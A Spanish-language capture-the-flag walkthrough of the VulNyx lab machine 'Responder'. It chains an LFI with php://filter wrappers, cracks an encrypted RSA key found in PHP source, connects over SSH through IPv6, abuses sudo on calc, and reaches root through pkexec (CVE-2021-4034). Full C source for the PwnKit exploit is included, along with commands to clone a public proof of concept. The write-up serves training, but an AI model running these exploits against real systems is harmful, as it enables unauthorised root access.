
Responder es una maquina Linux de dificultad intermedia de la plataforma VulNyx creada por d4t4s3c, testeada en VirtualBox y VMware.
Skills usadas:
- HTTP Brute Force Enumeration
- LFI PHP
- IPV6 Scanning with nmap
- Cracking | Private Key (id_rsa)
- User Pivoting
- Abusing calc Binary
- Abusing pkexe Binary
Reconocimiento — Nmap
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv -oG allPorts 192.168.18.211
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open httpssh:22 flitrado || http:80
Escaneo de Servicios
nmap -p22,80 -sCV 192.168.18.211 -oN targeted
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)Nada interesante… veamos la web

Enumeración | HTTP
Gobuster — Reconocimiento de directorios
gobuster dir -u http://192.168.18.211/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 15 --add-slash -x txt,html,php
===============================================================
/index.html (Status: 200) [Size: 31]
/icons/ (Status: 403) [Size: 279]
/filemanager.php (Status: 302) [Size: 0] [--> /]
/server-status/ (Status: 403) [Size: 279] Vemos un /filemanager.php status:302, curioso…
Vamos a probar si de puede hacer un LFI (Local File Inclusion) con wfuzz
wfuzz -c -t 20 --hc=404 --hw=0 -u 'http://192.168.18.211/filemanager.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirb/common.txt=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003267: 302 27 L 39 W 1430 Ch "random"
/filemanager.php?random
Si intentamos ver el /filemanger.php desde la web nos redirige al home /
Asi que… hagámoslo con BurpSuite

Vos el /etc/passwd y tenemos dos usuarios relevantes:
elliot || rohit
LFI — /filemanager.php?random
Sabiendo que esta el ssh activado voy a intentar ver el id_rsa de cada usuario pero no hubo suerte…
Tambien intente leer el codigo del php, pero tampoco…
Buscando forma de leer archivos atreves de un LFI vi los Wrappers, este nos permite “ofuscar” archivos en base64 para después “des ofuscarlos” en nuestro equipo y ver su contenido, tal que asi;
php://filter/convert.base64-encode/resource=<archivo>Asi que hagamos un curl del archivo /filemanager.php y después un (base64 -d)para “des ofuscarlo”
curl -X GET "http://192.168.18.211/filemanager.php?random=php://filter/convert.base64-encode/resource=/var/www/html/filemanager.php" | base64 -d > filemanager.txt% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2464 100 2464 0 0 98339 0
Genial! Se descargo como filemanager.txt
1 │ <?php
2 │ $filename = $_GET['random'];
3 │ include($filename);
4 │ header('Location:/');
5 │
6 │
7 │ /*
8 │
9 │ -----BEGIN RSA PRIVATE KEY-----
10 │ Proc-Type: 4,ENCRYPTED
11 │ DEK-Info: DES-EDE3-CBC,411124D3C302D4F4
12 │
13 │ XC2kbWNBYa20zDArT6BMeCgKa9oRs8T5sCVws1wGik8ZWChF4h6N9TzDnDGEMUPG
14 │ X+lKp/fDKiZxmJdWu3WhLjgiXNbvX+fLiKZpWBzCAVpwSicS/jjIopzzWjE3PAB7
15 │ vRfwdqdiaFK7mQxLJ3o/yrK2CCI8ud2UlEEk8DxTMGklmff8cbhrWIc+by+9AS9t
16 │ vKd7hrsoLR6FaxBmfdO4dr1Qn9PZkvohHnMnpI7fdEC2Q3aqu6tFIODcVm6rBaII
17 │ QM0CIRdWH/WiW7XmtJUriF55rQRJq4+ShXWtWKBXyJnYvyEduqQhieJ0BA9ZJjzy
18 │ myaV1V5l0eKMhxWWBkYaz6bmFsLpbmXBBgIaiozKSKIMGWa1sWCAGv0EmMDRnDG4
19 │ ClxkqgnDcgYskrdZLPJ5YN77M9OuB30/VIGXjzskJPp2XaubzYS7BvNjTbiD5uCU
20 │ i1fHEzpPI/QeHQ25XlqlGCUla6b8mLFKMM91KcjO6TOSYgArC+kykbuqgDPMc7kt
21 │ MKhxrsykmpkNz6FxsF78k/bmstPNbYDsa4ynzlIpiQHms+papIDcsHM4rUDib8Jh
22 │ HQMfjbSchpL0YxVXAiz4Nvo33VQxp1WRh0geoO3bYz1D94FvozpeILFexnKaQeT3
23 │ GLCLNyZ1BK/p5KKh5F1OhUU0brghzks5NjFYfNoGdnKfRsOIA+6X97AiDjqg9mk4
24 │ YfbOgKHl75uELy41WzuNnuynfwWkANz7BhWV/QCLS7NiyaCucXJBJj3LRdT4Ckqf
25 │ 3F1SNgshDq4vDC4RwkJW2umTmDpW0rZ3syzeb9P4/bmQXkWX/btoIJzmnB6y++Bs
26 │ XIrtZKa1yJ6/M0XA6tGTi+bnYD0wOmoU64M3l21HXvQUOXgSg5o0jIJQceTKcIN/
27 │ wLLNM0ybmzq7z+MlLGrpyOez/fSAECvagyUZRmnks0eRR1oKzMS00e+qEFJ4GmeE
28 │ Yu2dITC6I3pVRZQGcCsZWCX+BP+64Lcdz4/n5lensjab0jd28Kc72sraDteSlP/Y
29 │ wWZM9sYbXtcs14cIPpW3a1dbkOT1WGEwjt0X0F0DNgApvA8XnlTr+whJVaMByA4U
30 │ t3UQHVUINNoLnX7uSBPo96yWcwAMuXjk8j3ZaFVd5rOGq/Xd0pKBBARd2Un9QZnN
31 │ 4PzEWF1d9/BObzSeo2dVEZgYXcRE3v0oEZImFIoxQcvgoxxeYjNViX0SsYEJfA9F
32 │ Pg8ZQ6R+ZjA3pU1DqBxWnErHDyeGsnVBs8VIQKOiiZMeB12Tx9b9k8E6rjRIw6La
33 │ UbzpR+4CVgToD5TZBDpHhWHdPcv3JuNAb49XGdsL889uTwBX+fSTvL6FkXtZjySX
34 │ gm6v5x/OPZg4BB/CnCWSeiG+rW0iMU4TGE5LqfuyBZBOhVcDtri3qpYLGH/5NKfw
35 │ dq15m9rReh/Jec6Z8BNi9Xo5gEjGglQA/Tfw2VqCmrsMaU3iNMNXLKrYTcsm0qHb
36 │ vRYvQl9GgeApdrZ/BY/ySb6OjNUS1Nc9Viv0AM9iCHp4tH6OfmVpnVzDuojdkXiZ
37 │ lB/vwbCo9CcBZt7lM91Hl60ZlhLsOa/69PAeC3cZR2Z1svVk1gcDrw==
38 │ -----END RSA PRIVATE KEY-----
39 │
40 │
41 │ */
42 │
43 │ ?>Okay xd, vemos el id_rsa, lo copio y pego en un txt
Ahora hagamos un RSACrack para intentar sacar la contraseña

elliot:elliott
Muy xd la verdad
La conexión por shh a elliot no se pude hacer por IPv4 ya que esta filtrado peroo… quizás, se pueda hacer por IPv6. Hay que saber que ip tiene esta maquina en IPv6
Como tenemos un LFI podemos intentar apuntar al archivo if_inet6 ubicado en la ruta /proc/net/
curl -X GET "http://192.168.18.211/filemanager.php?random=php://filter/convert.base64-encode/resource=/proc/net/if_inet6" 2>/dev/null | base64 -d
00000000000000000000000000000001 01 80 10 80 lo
2a0746400004ff50020c29fffe734692 02 40 00 00 ens33
fe80000000000000020c29fffe734692 02 40 20 80 ens33Okay, en mi caso es la del medio (2a0746400004ff50020c29fffe734692)
Get eldeim’s stories in your inbox
Join Medium for free to get updates from this writer.
Solo cogemos hasta antes de los espacios y ahora separamos por : cada 4 caracteres;
echo "2a0746400004ff50020c29fffe734692" | sed 's/.\{4\}/&:/g; s/:$//'2a07:4640:0004:ff50:020c:29ff:fe73:4692
2a07:4640:0004:ff50:020c:29ff:fe73:4692 — IPv6
Probamos si es esta la ip correcta con nmap por ejemplo
nmap -p22 -6 2a07:4640:0004:ff50:020c:29ff:fe73:4692
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 00:0C:29:73:46:92 (VMware)Ahora probemos a conectarnos
SSH Conexión
ssh elliot@2a07:4640:0004:ff50:020c:29ff:fe73:4692 -i id_rsaDentro!!
Press enter or click to view image in full size

Vemos que haciendo un “sudo -l” podemos ejecutar como rohit el /usr/bin/calc
User Pivoting
Lo ejecutamos;
Press enter or click to view image in full size

Ya somos rohit!!
Escalada de Privilegios
Nos pide contraseña para el sudo -l, asi que buscamos desde la raiz archivos SUID
Press enter or click to view image in full size

Vemos el pkexec, vemos su versión

PKEXEC Escalation
Hay dos formas de hacerlo:
Manera 1 (Maquina sin acceso a internet):
Nos vamos por ejemplo al /tmp y creamos dos archivos (pkexploit-so.c || pkexploit.c)
pkexploit-so.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
pkexploit.c
#include <stdio.h>
#include <stdlib.h>#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
Una vez creados, compilamos ambos;
gcc -shared -o pkexploit.so -fPIC pkexploit-so.cgcc pkexploit.c -o pkexploitPor ultimo, ejecutamos
rohit@responder:/tmp$ ./pkexploit
rootOkay! root
Manera 2 (Maquina con acceso a internet):
Nos vamos por ejemplo al /tmp y hacemos un git clone de este CVE; https://github.com/berdav/CVE-2021-4034
rohit@responder:/tmp$ git clone https://github.com/berdav/CVE-2021-4034Entramos y acememos un make para crear un compilado del binario
rohit@responder:/tmp/CVE-2021-4034$ makeY ejecutamos
rohit@responder:/tmp/CVE-2021-4034$ ./cve-2021-4034.sh
Bingo!
Flags — Censuradas
Rohit
cat /home/rohit/user.txt
28bf*****************35474Root
cat /root/root.txt
981f4*****************d47by ElDeim